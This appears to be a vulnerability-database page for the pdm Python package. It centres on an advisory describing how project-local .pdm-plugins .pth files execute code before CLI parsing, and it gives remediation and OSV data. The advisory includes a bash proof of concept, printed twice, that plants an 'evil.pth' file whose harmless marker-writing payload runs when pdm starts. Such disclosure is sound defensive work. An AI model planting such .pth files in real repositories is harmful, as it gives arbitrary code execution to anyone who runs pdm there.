Vulnerabilities in pkg:pypi/pdm

PACKAGE
Advisory Identifier: GHSA-qq6c-99pv-prvf
Advisory Summary

CVE-2026-47781 is a HIGH project-controlled `.pdm-plugins` content executes before vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting PDM libraries in the PyPI ecosystem. The issue involves project-controlled `.pdm-plugins` content executes before cli parsing. Remediation is available by upgrading affected packages to version 2.27.0.

4 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/pdm

4 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/pdm. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-qq6c-99pv-prvf CVE-2026-47781 HIGH PDM: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing
GHSA-78v8-vpjp-cjqh CVE-2026-47764 HIGH PDM wheel installation leads to Path Traversal via overridden write_to_fs
GHSA-ghq2-5c67-fprm CVE-2026-47763 MODERATE PDM: Project-Local State and Config Writes Follow Symlinks
GHSA-j44v-mmf2-xvm9 CVE-2023-45805 HIGH PDM Trojan Lockfile

CVE-2026-47781 at a Glance

CVE Identifier CVE-2026-47781
GHSA Identifier GHSA-qq6c-99pv-prvf
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product PDM
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-47781

To remediate this vulnerability, upgrade all affected PDM dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pdm fixed: 2.27.0
pip install pdm>=2.27.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pdm

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-47781, inspect your installed packages using pip:

pip show pdm

Analyze the terminal output to locate any version of PDM in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.27.0), your application is affected.

Note: The pip show pdm command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In PDM, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary PDM automatically loads project-local plugin paths from `.pdm-plugins` during `Core` initialization. Because this path is added via `site.addsitedir()`, attacker-controlled `.pth` files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins. This allows arbitrary code execution with the privileges of the user running `pdm` from an untrusted repository checkout. ## Affected Behavior - Trigger does not require `pdm install --plugins` - A low-impact command such as `pdm --version` is sufficient - Impact is strongest in CI, privileged shells, and automation contexts ## Affected Code - `src/pdm/core.py:74-82` - `src/pdm/core.py:310-333` - `src/pdm/core.py:335-352` ## Technical Details `Core.__init__()` calls `load_plugins()` before ordinary command execution. `load_plugins()` calls `_add_project_plugins_library()`, which derives the project-local `.pdm-plugins` library path and adds it through `site.addsitedir()`. On CPython, `site.addsitedir()` processes `.pth` files found in the added directory. `.pth` lines beginning with `import ` are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading. ## Impact - Arbitrary code execution as the invoking user - Potential credential theft, persistence, or workspace tampering - Potential privilege escalation when `pdm` is run via `sudo`, root-owned CI jobs, or privileged service accounts ## Reproduction PoC: ```bash # Replace this with a Python interpreter that can run `python -m pdm`. PDM_PY=/path/to/python-with-pdm tmpdir=$(mktemp -d) cat > "$tmpdir/pyproject.toml" <<'EOF' [project] name = "plugin-autoload-demo" version = "0.0.1" EOF purelib=$(TMPDIR_ROOT="$tmpdir/.pdm-plugins" "$PDM_PY" - <<'PY' import os import sys import sysconfig base = os.environ["TMPDIR_ROOT"] scheme_names = sysconfig.get_scheme_names() if (sys.platform == "darwin" and "osx_framework_library" in scheme_names) or sys.platform == "linux": scheme = "posix_prefix" elif sys.version_info < (3, 10): scheme = "nt" if os.name == "nt" else "posix_prefix" else: scheme = sysconfig.get_default_scheme() replace_vars = {"base": base, "platbase": base} print(sysconfig.get_path("purelib", scheme, replace_vars)) PY ) mkdir -p "$purelib" marker="$tmpdir/plugin-autoload-marker.txt" printf '%s\n' "import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')" > "$purelib/evil.pth" ( cd "$tmpdir" && "$PDM_PY" -m pdm --version ) cat "$marker" ``` Expected result: - A temporary project is created - An `evil.pth` file is placed under `.pdm-plugins` - Running `pdm --version` creates a marker file before CLI exit Observed output from local validation: ```text PDM, version 2.26.9 --- marker --- project plugin autoload executed ``` ## Severity High ## CVSS v4.0 - Base score: `8.4` (`High`) - Vector: `CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` Rationale: - `AV:L`: exploitation occurs through local execution of `pdm` against attacker-controlled repository content - `AC:L`: no special bypass or race is required - `AT:N`: no external precondition beyond the vulnerable workflow is required - `PR:N`: the attacker does not need privileges on the victim host - `UI:A`: the victim must actively run a `pdm` command in the malicious checkout - `VC:H/VI:H/VA:H`: successful exploitation yields arbitrary code execution as the invoking user - `SC:N/SI:N/SA:N`: the score is kept to same-system impact only ## Root Cause Project-local plugin paths are implicitly trusted and loaded too early, and `.pth` processing is inherited from `site.addsitedir()`. ## Recommended Remediation - Do not auto-load project-local `.pdm-plugins` by default - Avoid `site.addsitedir()` for project-controlled plugin paths - If project plugins must be supported, require explicit opt-in such as `--enable-project-plugins` - Explicitly prevent `.pth` execution when loading project plugin paths ## Disclosure Notes This issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.

CVE-2026-47781 Affected PDM Versions

1 component(s)
Fixed Versions:
2.27.0
Product / Package Ecosystem Affected Versions Fixed Version
pdm
PyPI
< 2.27.0
2.27.0

References

Frequently Asked Questions

What is CVE-2026-47781?
CVE-2026-47781 is a security vulnerability in PDM involving Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which PDM versions are affected?
Affected versions include releases prior to 2.27.0 across affected packages: pdm.
What version fixes CVE-2026-47781?
Upgrading to 2.27.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pdm affected?
Yes, pdm is affected in releases prior to 2.27.0. Upgrade your dependency to 2.27.0 or later.
What CWE is associated with CVE-2026-47781?
CVE-2026-47781 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check PyPI dependencies for CVE-2026-47781?
Run the dependency tree command: 'pip show pdm'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qq6c-99pv-prvf",
  "modified" : "2026-06-11T13:25:28Z",
  "published" : "2026-06-11T13:25:28Z",
  "aliases" : [ "CVE-2026-47781" ],
  "summary" : "PDM: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing",
  "details" : "## Summary\n\nPDM automatically loads project-local plugin paths from `.pdm-plugins` during `Core` initialization. Because this path is added via `site.addsitedir()`, attacker-controlled `.pth` files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.\n\nThis allows arbitrary code execution with the privileges of the user running `pdm` from an untrusted repository checkout.\n\n## Affected Behavior\n\n- Trigger does not require `pdm install --plugins`\n- A low-impact command such as `pdm --version` is sufficient\n- Impact is strongest in CI, privileged shells, and automation contexts\n\n## Affected Code\n\n- `src/pdm/core.py:74-82`\n- `src/pdm/core.py:310-333`\n- `src/pdm/core.py:335-352`\n\n## Technical Details\n\n`Core.__init__()` calls `load_plugins()` before ordinary command execution. `load_plugins()` calls `_add_project_plugins_library()`, which derives the project-local `.pdm-plugins` library path and adds it through `site.addsitedir()`.\n\nOn CPython, `site.addsitedir()` processes `.pth` files found in the added directory. `.pth` lines beginning with `import ` are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.\n\n## Impact\n\n- Arbitrary code execution as the invoking user\n- Potential credential theft, persistence, or workspace tampering\n- Potential privilege escalation when `pdm` is run via `sudo`, root-owned CI jobs, or privileged service accounts\n\n## Reproduction\n\nPoC:\n\n```bash\n# Replace this with a Python interpreter that can run `python -m pdm`.\nPDM_PY=/path/to/python-with-pdm\ntmpdir=$(mktemp -d)\n\ncat > \"$tmpdir/pyproject.toml\" <<'EOF'\n[project]\nname = \"plugin-autoload-demo\"\nversion = \"0.0.1\"\nEOF\n\npurelib=$(TMPDIR_ROOT=\"$tmpdir/.pdm-plugins\" \"$PDM_PY\" - <<'PY'\nimport os\nimport sys\nimport sysconfig\n\nbase = os.environ[\"TMPDIR_ROOT\"]\nscheme_names = sysconfig.get_scheme_names()\nif (sys.platform == \"darwin\" and \"osx_framework_library\" in scheme_names) or sys.platform == \"linux\":\n    scheme = \"posix_prefix\"\nelif sys.version_info < (3, 10):\n    scheme = \"nt\" if os.name == \"nt\" else \"posix_prefix\"\nelse:\n    scheme = sysconfig.get_default_scheme()\nreplace_vars = {\"base\": base, \"platbase\": base}\nprint(sysconfig.get_path(\"purelib\", scheme, replace_vars))\nPY\n)\n\nmkdir -p \"$purelib\"\nmarker=\"$tmpdir/plugin-autoload-marker.txt\"\nprintf '%s\\n' \"import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')\" > \"$purelib/evil.pth\"\n\n(\n  cd \"$tmpdir\" &&\n  \"$PDM_PY\" -m pdm --version\n)\n\ncat \"$marker\"\n```\n\nExpected result:\n\n- A temporary project is created\n- An `evil.pth` file is placed under `.pdm-plugins`\n- Running `pdm --version` creates a marker file before CLI exit\n\nObserved output from local validation:\n\n```text\nPDM, version 2.26.9\n\n--- marker ---\nproject plugin autoload executed\n```\n\n## Severity\n\nHigh\n\n## CVSS v4.0\n\n- Base score: `8.4` (`High`)\n- Vector: `CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`\n\nRationale:\n\n- `AV:L`: exploitation occurs through local execution of `pdm` against attacker-controlled repository content\n- `AC:L`: no special bypass or race is required\n- `AT:N`: no external precondition beyond the vulnerable workflow is required\n- `PR:N`: the attacker does not need privileges on the victim host\n- `UI:A`: the victim must actively run a `pdm` command in the malicious checkout\n- `VC:H/VI:H/VA:H`: successful exploitation yields arbitrary code execution as the invoking user\n- `SC:N/SI:N/SA:N`: the score is kept to same-system impact only\n\n## Root Cause\n\nProject-local plugin paths are implicitly trusted and loaded too early, and `.pth` processing is inherited from `site.addsitedir()`.\n\n## Recommended Remediation\n\n- Do not auto-load project-local `.pdm-plugins` by default\n- Avoid `site.addsitedir()` for project-controlled plugin paths\n- If project plugins must be supported, require explicit opt-in such as `--enable-project-plugins`\n- Explicitly prevent `.pth` execution when loading project plugin paths\n\n## Disclosure Notes\n\nThis issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pdm"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.27.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.26.9"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pdm-project/pdm/security/advisories/GHSA-qq6c-99pv-prvf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pdm-project/pdm"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pdm-project/pdm/releases/tag/2.27.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-11T13:25:28Z",
    "nvd_published_at" : null
  }
}